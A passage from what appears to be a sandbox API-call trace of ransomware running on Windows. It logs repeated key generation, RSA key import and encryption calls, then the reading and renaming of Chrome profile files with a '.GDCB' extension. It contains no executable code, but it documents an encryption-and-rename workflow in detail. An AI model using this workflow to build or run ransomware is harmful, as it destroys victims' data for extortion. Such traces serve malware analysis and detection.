(in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785988) returned 1 [0244.888] CryptGetKeyParam (in: hKey=0x6785988, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.888] CryptEncrypt (in: hKey=0x6785988, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc5d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc5d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.888] GetLastError () returned 0x0 [0244.888] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.888] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.889] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0244.892] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.895] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.895] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.895] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0244.895] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.898] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.901] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.901] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.901] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.902] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0244.904] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785e88) returned 1 [0244.904] CryptGetKeyParam (in: hKey=0x6785e88, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.904] CryptEncrypt (in: hKey=0x6785e88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc5e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc5e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.904] GetLastError () returned 0x0 [0244.904] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0244.904] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.906] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785a48) returned 1 [0244.906] CryptGetKeyParam (in: hKey=0x6785a48, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.906] CryptEncrypt (in: hKey=0x6785a48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc5f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc5f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.906] GetLastError () returned 0x0 [0244.906] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.906] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.908] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.911] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.913] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.913] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.913] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.913] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.916] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.918] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.918] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.918] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.918] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.920] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785908) returned 1 [0244.920] CryptGetKeyParam (in: hKey=0x6785908, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.920] CryptEncrypt (in: hKey=0x6785908, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc600000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc600000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.921] GetLastError () returned 0x0 [0244.921] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.921] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.922] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785ec8) returned 1 [0244.922] CryptGetKeyParam (in: hKey=0x6785ec8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.922] CryptEncrypt (in: hKey=0x6785ec8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc610000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.923] GetLastError () returned 0x0 [0244.923] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.923] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.925] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0244.928] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.931] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.931] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0244.931] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.931] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0244.934] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.936] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.936] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0244.936] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0244.936] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0244.939] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6784788) returned 1 [0244.939] CryptGetKeyParam (in: hKey=0x6784788, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0244.939] CryptEncrypt (in: hKey=0x6784788, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc620000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xc620000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0244.939] GetLastError () returned 0x0 [0244.939] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.939] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0244.942] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6785a88) returned 1 [0244.942] CryptGetKeyParam (in: hKey=0x6785a88, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0244.942] CryptEncrypt (in: hKey=0x6785a88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc630000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xc630000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0244.942] GetLastError () returned 0x0 [0244.942] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.942] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\computed_hashes.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.942] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0244.946] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.948] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.948] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0244.948] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.948] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0244.951] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.953] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.953] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0244.953] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.954] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0244.956] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6785b08) returned 1 [0244.956] CryptGetKeyParam (in: hKey=0x6785b08, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0244.956] CryptEncrypt (in: hKey=0x6785b08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc640000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xc640000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0244.956] GetLastError () returned 0x0 [0244.956] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0244.956] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0244.958] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x677e708) returned 1 [0244.958] CryptGetKeyParam (in: hKey=0x677e708, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0244.958] CryptEncrypt (in: hKey=0x677e708, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc650000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xc650000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0244.959] GetLastError () returned 0x0 [0244.959] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.959] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\verified_contents.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.974] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0244.977] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.980] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.980] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0244.980] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.980] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0244.983] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.985] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.985] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0244.985] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0244.985] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0244.987] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6784488) returned 1 [0244.987] CryptGetKeyParam (in: hKey=0x6784488, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0244.987] CryptEncrypt (in: hKey=0x6784488, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc660000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xc660000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0244.988] GetLastError () returned 0x0 [0244.988] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.988] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0244.990] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677e3c8) returned 1 [0244.990] CryptGetKeyParam (in: hKey=0x677e3c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0244.990] CryptEncrypt (in: hKey=0x677e3c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc670000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xc670000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0244.990] GetLastError () returned 0x0 [0244.990] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.990] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\IndexedDB\\https_www.google.com_0.indexeddb.leveldb\\000003.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\indexeddb\\https_www.google.com_0.indexeddb.leveldb\\000003.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0244.991] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xc680000 [0244.995] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xc690000 [0244.997] ReadFile (in: hFile=0x520, lpBuffer=0xc690000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xc690000*, lpNumberOfBytesRead=0x285d3e8*=0x13e, lpOverlapped=0x0) returned 1 [0245.005] VirtualAlloc (lpAddress=0x0, dwSize=0x140, flAllocationType=0x3000, flProtect=0x4) returned 0xc7a0000 [0245.017] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\IndexedDB\\https_www.google.com_0.indexeddb.leveldb\\000003.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\indexeddb\\https_www.google.com_0.indexeddb.leveldb\\000003.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\IndexedDB\\https_www.google.com_0.indexeddb.leveldb\\000003.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\indexeddb\\https_www.google.com_0.indexeddb.leveldb\\000003.log.gdcb")) returned 1 [0245.030] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0245.033] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0245.036] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0245.036] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0245.036] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0245.036] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0245.039] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0245.041] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0245.041] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0245.041] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0245.042] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0245.044] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677e348) returned 1 [0245.044] CryptGetKeyParam (in: hKey=0x677e348, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0245.044] CryptEncrypt (in: hKey=0x677e348, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc660000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xc660000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0245.044] GetLastError () returned 0x0 [0245.044] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0245.044] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0245.046] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677e588) returned 1 [0245.046] CryptGetKeyParam (in: hKey=0x677e588, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0245.046] CryptEncrypt (in: hKey=0x677e588, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc670000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xc670000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0245.046] GetLastError () returned 0x0 [0245.046] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0245.046] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\IndexedDB\\https_www.google.de_0.indexeddb.leveldb\\000003.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\indexeddb\\https_www.google.de_0.indexeddb.leveldb\\000003.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0245.048] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xc680000 [0245.052] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xc690000 [0245.055] ReadFile (in: hFile=0x520, lpBuffer=0xc690000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xc690000*, lpNumberOfBytesRead=0x285d3e8*=0x1dc, lpOverlapped=0x0) returned 1 [0245.061] VirtualAlloc (lpAddress=0x0, dwSize=0x1e0, flAllocationType=0x3000, flProtect=0x4) returned 0xc7a0000 [0245.069] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\IndexedDB\\https_www.google.de_0.indexeddb.leveldb\\000003.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\indexeddb\\https_www.google.de_0.indexeddb.leveldb\\000003.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\IndexedDB\\https_www.google.de_0.indexeddb.leveldb\\000003.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user 